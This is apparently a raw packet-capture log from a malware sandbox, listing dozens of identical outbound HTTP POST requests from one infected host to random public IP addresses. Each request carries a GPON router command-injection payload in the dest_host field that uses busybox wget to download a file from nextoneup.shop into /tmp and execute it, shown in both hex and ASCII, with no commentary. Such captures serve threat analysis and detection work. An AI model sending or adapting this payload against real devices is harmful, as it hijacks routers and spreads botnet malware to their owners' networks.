Apr 14, 2024 03:59:56.163846016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.23	51192	202.208.71.133	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163918018 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.23	51250	2.217.186.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163978100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.23	58988	79.247.153.118	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.163984060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.23	42230	148.23.235.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164007902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.23	39950	202.120.121.75	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164060116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.23	37134	37.157.74.148	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164082050 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.23	33450	148.200.111.154	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164109945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.23	58430	212.148.44.26	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164171934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.23	44234	79.225.138.78	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164186954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.23	56834	5.166.184.3	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164238930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.23	35712	94.198.137.204	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164268970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.23	34300	212.175.1.42	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164333105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.23	40494	2.129.131.155	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164369106 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.23	50892	123.168.183.235	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164422035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.23	50886	178.47.152.70	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164453030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.23	39192	212.48.220.151	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164499044 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.23	51872	212.110.82.28	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164541006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.23	39098	210.68.46.148	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164558887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.23	43588	123.120.80.80	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164618015 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.23	45088	202.43.226.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164649963 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.23	46176	148.22.149.8	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164673090 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.23	33290	5.141.70.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164725065 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.23	53692	178.108.32.253	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164786100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.23	55110	5.204.197.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164786100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.23	48622	94.248.171.116	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164820910 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
